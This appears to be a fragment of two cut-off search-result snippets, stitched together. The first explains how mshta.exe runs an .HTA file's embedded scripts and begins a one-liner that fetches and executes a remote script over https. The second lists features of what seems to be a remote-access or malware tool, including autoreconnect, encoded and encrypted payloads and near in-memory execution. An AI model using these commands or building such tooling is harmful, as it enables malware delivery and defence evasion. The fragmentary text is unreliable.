mshta.exe evilfile.hta Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. mshta.exe vbscript:Close(Execute("GetObject(""script:https ...
'=====' ' Features ' '+++++' ' [*] Autoreconnect ' ' [*] Hexadecimal encoded payload (UTF8) ' ' [*] Encrypted payload ' ' [*] In (**almost) memory execution ...